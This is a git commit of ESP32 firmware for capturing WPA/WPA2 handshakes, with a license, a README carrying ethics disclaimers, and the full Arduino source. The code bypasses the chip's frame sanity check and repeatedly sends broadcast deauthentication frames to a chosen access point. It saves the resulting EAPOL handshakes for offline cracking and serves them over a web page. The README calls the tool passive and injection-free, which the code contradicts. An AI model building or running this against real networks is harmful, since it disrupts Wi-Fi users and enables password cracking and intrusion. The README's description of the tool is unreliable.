Initial commit: handshake capture firmware for ESP32-C6 1.47" LCD

Made-with: Cursor
This commit is contained in:
drjones
2026-03-17 20:07:32 -07:00
commit 026f15a4a7
3002 changed files with 821045 additions and 0 deletions

View File

@@ -0,0 +1,52 @@
# License
## GNU General Public License v3.0
```text
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2024 Electro-Gamma
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
=====================================================================
ADDITIONAL ETHICAL USE REQUIREMENTS:
1. This software may only be used for:
- Authorized security research
- Educational purposes
- Penetration testing with written permission
2. User agrees to:
- Not violate any applicable laws
- Obtain proper authorization before use
- Not disrupt critical infrastructure
Violation of these terms automatically terminates your rights under this license.
```
## Ethical Use Addendum
This software includes additional restrictions beyond GPLv3:
1. **Legal Compliance**: Must comply with all applicable laws (CFAA, GDPR, etc.)
2. **Authorization Required**: Written permission required before scanning any network
3. **Non-Malicious Use**: Strictly prohibited for:
- Unauthorized network access
- Privacy violations
- Disruptive activities
Violations terminate all license rights immediately.

View File

@@ -0,0 +1,128 @@
# WiFi Handshake Capture Tool
<div align="center">
[![GPLv3 License](https://img.shields.io/badge/License-GPLv3-blue.svg)](LICENSE.md)
[![Ethical Use](https://img.shields.io/badge/INTENDED_USE-Pentesting_Research-red)](https://github.com/Electro-Gamma/esp32-handshake-capture/blob/main/README.md#ethical-use)
[![Platform](https://img.shields.io/badge/Platform-ESP32-important)](https://github.com/Electro-Gamma/esp32-handshake-capture/blob/main/README.md#requirements)
[![Warning](https://img.shields.io/badge/WARNING-Legal_Restrictions-yellow)](https://github.com/Electro-Gamma/esp32-handshake-capture/blob/main/README.md#legal-disclaimer)
</div>
## ⚠️ Legal Disclaimer
This software is provided strictly for educational and authorized testing purposes only.
Unauthorized use of this tool against networks you do not own or have written permission to test is illegal in most jurisdictions.
The developers are not responsible for any misuse, damage, or legal consequences.
---
## Features
- Captures WPA/WPA2 EAPOL 4-way handshakes
- Saves captured data in PCAP format
- Web interface to download handshakes
- Portable and lightweight with ESP32
- Passive monitoring (no injection required)
- Works with tools like Wireshark, Aircrack-ng, Hashcat (after conversion)
---
## Requirements
- ESP32 Development Board (e.g., DevKit v1)
- USB cable (Micro-USB or USB-C depending on your board)
- Arduino IDE or PlatformIO
- Serial Monitor (115200 baud)
- WiFi network you are authorized to test
---
## Flashing Instructions
### Option 1: Arduino IDE
1. Install ESP32 board support:
- File → Preferences → Additional Board URLs:
```
https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_index.json
```
2. Open Boards Manager and install "ESP32"
3. Load `esp32-handshake-capture.ino`
4. Select:
- Board: ESP32 Dev Module
- Port: Your correct COM/tty port
5. Click "Upload"
### Option 2: PlatformIO (VS Code)
```bash
git clone https://github.com/Electro-Gamma/esp32-handshake-capture.git
cd esp32-handshake-capture
pio run --target upload
```
---
## Running the Tool
1. Open a serial monitor at 115200 baud.
2. The ESP32 will scan for nearby WiFi networks.
3. Select the target network by its SSID/BSSID.
4. The handshake is captured passively.
5. ESP32 saves the handshake as a `.pcap` file.
6. Connect to the ESP32's web interface to download the capture.
---
## Output
Captured handshakes are stored in `.pcap` format and compatible with:
- Wireshark
- aircrack-ng
- hcxpcapngtool / hashcat
---
## Usage Policy
This tool is intended for:
- Security researchers
- Cybersecurity training labs
- Authorized penetration testers
- Educational demonstrations
You must:
- Use only on networks you own or have explicit permission to test
- Follow local, national, and international laws
- Accept full responsibility for all usage
---
## Legal Notice
Be aware of applicable laws that may govern or restrict the use of this tool, including but not limited to:
- Computer Fraud and Abuse Act (CFAA)
- General Data Protection Regulation (GDPR)
- Digital Millennium Copyright Act (DMCA)
- National and regional cybercrime laws
The authors are not liable for illegal or unethical use.
---
## License
This project is licensed under the **GNU General Public License v3.0 (GPLv3)**.
See the [LICENSE](LICENSE.md) file for full terms.
---
## Contact
- GitHub: [Electro-Gamma](https://github.com/Electro-Gamma)
---
Stay ethical. Use responsibly.

View File

@@ -0,0 +1,454 @@
#include <Arduino.h>
#include <WiFi.h>
#include "esp_wifi.h"
#include <SPIFFS.h>
#include <WebServer.h>
// Bypass ESP32 frame sanity check
extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) {
return 0;
}
// PCAP structures
typedef struct {
uint32_t magic_number;
uint16_t version_major;
uint16_t version_minor;
int32_t thiszone;
uint32_t sigfigs;
uint32_t snaplen;
uint32_t network;
} __attribute__((packed)) pcap_global_header_t;
typedef struct {
uint32_t ts_sec;
uint32_t ts_usec;
uint32_t incl_len;
uint32_t orig_len;
} __attribute__((packed)) pcap_record_header_t;
// Network structure
typedef struct {
String ssid;
uint8_t bssid[6];
int ch;
int rssi;
String encryption;
} Network;
// Global variables
Network networks[20];
Network target;
uint8_t* pcap_buffer = nullptr;
size_t pcap_size = 0;
bool handshake_captured = false;
bool beacon_captured = false;
uint8_t eapol_count = 0;
bool with_deauth = false;
bool is_capturing = false;
WebServer server(80);
const char* ap_ssid = "HandshakeCapture";
const char* ap_password = "capture123";
void scanNetworks();
void listNetworks();
void selectTarget();
void startCapture(bool deauth);
void stopCapture();
void saveHandshake();
void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
void pcapInit();
void pcapAppend(const uint8_t* frame, size_t len);
void sendDeauth();
void startWebServer();
void handleRoot();
void handleDownload();
void handleListFiles();
void printHelp();
void setup() {
Serial.begin(115200);
// Initialize SPIFFS
if (!SPIFFS.begin(true)) {
Serial.println("Failed to mount SPIFFS");
while(1) delay(1000);
}
// Start WiFi in AP mode
WiFi.softAP(ap_ssid, ap_password);
Serial.print("AP IP address: ");
Serial.println(WiFi.softAPIP());
// Set WiFi mode and enable promiscuous mode
WiFi.mode(WIFI_AP_STA);
esp_wifi_set_promiscuous(true);
esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback);
// Start web server
startWebServer();
Serial.println("\nWiFi Handshake Capture Tool");
Serial.println("--------------------------");
printHelp();
}
void loop() {
server.handleClient();
if (Serial.available()) {
String input = Serial.readStringUntil('\n');
input.trim();
if (input == "1") {
scanNetworks();
}
else if (input == "2") {
listNetworks();
}
else if (input == "3") {
selectTarget();
}
else if (input == "4") {
startCapture(true);
}
else if (input == "5") {
startCapture(false);
}
else if (input == "6") {
stopCapture();
}
else if (input == "7") {
handleListFiles();
}
else if (input == "8") {
printHelp();
}
else if (input == "9") {
Serial.println("Restarting...");
ESP.restart();
}
else {
Serial.println("Invalid command. Type '8' for help.");
}
}
// Send deauth periodically if enabled and capturing
static unsigned long last_deauth = 0;
if (is_capturing && with_deauth && millis() - last_deauth > 500) {
sendDeauth();
last_deauth = millis();
}
}
void printHelp() {
Serial.println("\nCommands:");
Serial.println("1 - Scan networks");
Serial.println("2 - List scanned networks");
Serial.println("3 - Select target by ID");
Serial.println("4 - Start capture with deauth");
Serial.println("5 - Start capture without deauth");
Serial.println("6 - Stop capture");
Serial.println("7 - List captured files");
Serial.println("8 - Show this help");
Serial.println("9 - Restart device");
Serial.println("\nWeb Interface:");
Serial.print("http://");
Serial.print(WiFi.softAPIP());
Serial.println("/list");
}
void scanNetworks() {
Serial.println("\nScanning networks...");
WiFi.scanDelete();
// Perform the scan using the same method as network_scan.cpp
int n = WiFi.scanNetworks(false, true); // Async scan, hidden networks
if (n == 0) {
Serial.println("No networks found");
return;
}
// Clear previous scan results
memset(networks, 0, sizeof(networks));
for (int i = 0; i < min(n, 20); i++) {
String ssid = WiFi.SSID(i);
// Handle hidden networks
if (ssid.isEmpty()) {
networks[i].ssid = "<HIDDEN>";
} else {
networks[i].ssid = ssid;
}
memcpy(networks[i].bssid, WiFi.BSSID(i), 6);
networks[i].ch = WiFi.channel(i);
networks[i].rssi = WiFi.RSSI(i);
// Add encryption type information
wifi_auth_mode_t encryption = WiFi.encryptionType(i);
if (encryption == WIFI_AUTH_OPEN) networks[i].encryption = "Open";
else if (encryption == WIFI_AUTH_WEP) networks[i].encryption = "WEP";
else if (encryption == WIFI_AUTH_WPA_PSK) networks[i].encryption = "WPA";
else if (encryption == WIFI_AUTH_WPA2_PSK) networks[i].encryption = "WPA2";
else if (encryption == WIFI_AUTH_WPA_WPA2_PSK) networks[i].encryption = "WPA/WPA2";
else if (encryption == WIFI_AUTH_WPA2_ENTERPRISE) networks[i].encryption = "WPA2 Enterprise";
else networks[i].encryption = "Unknown";
}
Serial.printf("Found %d networks\n", n);
}
void listNetworks() {
Serial.println("\nScanned Networks:");
Serial.println("ID | SSID | BSSID | CH | RSSI | Encryption");
Serial.println("---------------------------------------------------------------");
for (int i = 0; i < 20; i++) {
if (networks[i].ssid == "") continue;
char bssidStr[18];
snprintf(bssidStr, sizeof(bssidStr), "%02X:%02X:%02X:%02X:%02X:%02X",
networks[i].bssid[0], networks[i].bssid[1], networks[i].bssid[2],
networks[i].bssid[3], networks[i].bssid[4], networks[i].bssid[5]);
Serial.printf("%2d | %-16s | %s | %2d | %5d | %s\n",
i, networks[i].ssid.c_str(), bssidStr,
networks[i].ch, networks[i].rssi, networks[i].encryption.c_str());
}
}
void selectTarget() {
listNetworks();
Serial.print("\nEnter network ID to target: ");
while (!Serial.available()) delay(100);
int id = Serial.parseInt();
if (id >= 0 && id < 20 && networks[id].ssid != "") {
target = networks[id];
Serial.printf("\nSelected target: %s (%02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n",
target.ssid.c_str(), target.bssid[0], target.bssid[1],
target.bssid[2], target.bssid[3], target.bssid[4],
target.bssid[5], target.ch);
} else {
Serial.println("Invalid selection");
}
}
void startCapture(bool deauth) {
if (target.ssid == "") {
Serial.println("No target selected");
return;
}
if (is_capturing) {
Serial.println("Already capturing. Stop first.");
return;
}
Serial.printf("\nStarting handshake capture for %s...\n", target.ssid.c_str());
Serial.println(deauth ? "With deauthentication" : "Without deauthentication");
pcapInit();
handshake_captured = false;
beacon_captured = false;
eapol_count = 0;
with_deauth = deauth;
is_capturing = true;
// Set to target channel
esp_wifi_set_channel(target.ch, WIFI_SECOND_CHAN_NONE);
}
void stopCapture() {
if (!is_capturing) {
Serial.println("Not currently capturing");
return;
}
if (pcap_size > 0) {
saveHandshake();
} else {
Serial.println("No handshake captured");
}
is_capturing = false;
}
void saveHandshake() {
// Create filename with timestamp
String timestamp = String(millis() / 1000);
String filename = "/handshake_" + target.ssid + "_" + timestamp + ".pcap";
filename.replace(" ", "_"); // Remove spaces from filename
File file = SPIFFS.open(filename, FILE_WRITE);
if (!file) {
Serial.println("Failed to create file");
return;
}
if (file.write(pcap_buffer, pcap_size) == pcap_size) {
Serial.printf("Handshake saved to %s (%d bytes)\n", filename.c_str(), pcap_size);
} else {
Serial.println("Error writing file");
}
file.close();
// Clean up
free(pcap_buffer);
pcap_buffer = nullptr;
pcap_size = 0;
}
void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
if (!is_capturing) return;
wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
uint8_t* payload = pkt->payload;
uint16_t len = pkt->rx_ctrl.sig_len;
if (len < 36) return;
uint8_t frame_type = payload[0];
bool is_beacon = frame_type == 0x80;
// Capture beacon frame
if (is_beacon && !beacon_captured && memcmp(&payload[10], target.bssid, 6) == 0) {
Serial.println("Captured beacon frame");
beacon_captured = true;
pcapAppend(payload, len);
return;
}
// Capture EAPOL frames (handshake)
if ((frame_type == 0x08 || frame_type == 0x88) &&
(memcmp(&payload[10], target.bssid, 6) == 0 || memcmp(&payload[4], target.bssid, 6) == 0)) {
uint16_t ethertype = (payload[32] << 8) | payload[33];
if (ethertype == 0x888E) { // EAPOL
eapol_count++;
Serial.printf("Captured EAPOL frame %d/4\n", eapol_count);
pcapAppend(payload, len);
if (eapol_count >= 4) {
handshake_captured = true;
Serial.println("Complete handshake captured!");
stopCapture();
}
}
}
}
void pcapInit() {
free(pcap_buffer);
pcap_size = sizeof(pcap_global_header_t);
pcap_buffer = (uint8_t*)malloc(pcap_size);
pcap_global_header_t header = {
.magic_number = 0xa1b2c3d4,
.version_major = 2,
.version_minor = 4,
.thiszone = 0,
.sigfigs = 0,
.snaplen = 65535,
.network = 105 // LINKTYPE_IEEE802_11
};
memcpy(pcap_buffer, &header, sizeof(header));
}
void pcapAppend(const uint8_t* frame, size_t len) {
if (!frame || len == 0) return;
pcap_record_header_t rec = {
.ts_sec = millis() / 1000,
.ts_usec = (millis() % 1000) * 1000,
.incl_len = len,
.orig_len = len
};
uint8_t* new_buf = (uint8_t*)realloc(pcap_buffer, pcap_size + sizeof(rec) + len);
if (!new_buf) return;
memcpy(new_buf + pcap_size, &rec, sizeof(rec));
memcpy(new_buf + pcap_size + sizeof(rec), frame, len);
pcap_buffer = new_buf;
pcap_size += sizeof(rec) + len;
}
void sendDeauth() {
uint8_t deauth_packet[26] = {
0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x00
};
// Set BSSID in packet
memcpy(&deauth_packet[10], target.bssid, 6);
memcpy(&deauth_packet[16], target.bssid, 6);
// Send packet
esp_wifi_80211_tx(WIFI_IF_STA, deauth_packet, sizeof(deauth_packet), false);
Serial.println("Sent deauth packet");
}
void startWebServer() {
server.on("/", handleRoot);
server.on("/download", handleDownload);
server.on("/list", handleListFiles);
server.begin();
}
void handleRoot() {
server.send(200, "text/html",
"<h1>WiFi Handshake Capture Tool</h1>"
"<p><a href='/list'>View captured handshakes</a></p>"
"<p>Serial commands:</p>"
"<pre>1 - Scan networks\n2 - List networks\n3 - Select target\n4 - Capture with deauth\n5 - Capture without deauth\n6 - Stop capture\n7 - List files\n8 - Help\n9 - Restart</pre>");
}
void handleListFiles() {
String html = "<h1>Captured Handshakes</h1><ul>";
File root = SPIFFS.open("/");
File file = root.openNextFile();
while(file) {
if(String(file.name()).endsWith(".pcap")) {
html += "<li><a href='/download?file=" + String(file.name()) + "'>" + String(file.name()) + "</a> (" + String(file.size()) + " bytes)</li>";
}
file = root.openNextFile();
}
html += "</ul>";
server.send(200, "text/html", html);
}
void handleDownload() {
if(!server.hasArg("file")) {
server.send(400, "text/plain", "Missing file parameter");
return;
}
String filename = server.arg("file");
if(!SPIFFS.exists(filename)) {
server.send(404, "text/plain", "File not found");
return;
}
File file = SPIFFS.open(filename, "r");
if(!file) {
server.send(500, "text/plain", "Failed to open file");
return;
}
server.sendHeader("Content-Type", "application/octet-stream");
server.sendHeader("Content-Disposition", "attachment; filename=" + filename.substring(filename.lastIndexOf('/')+1));
server.streamFile(file, "application/octet-stream");
file.close();
}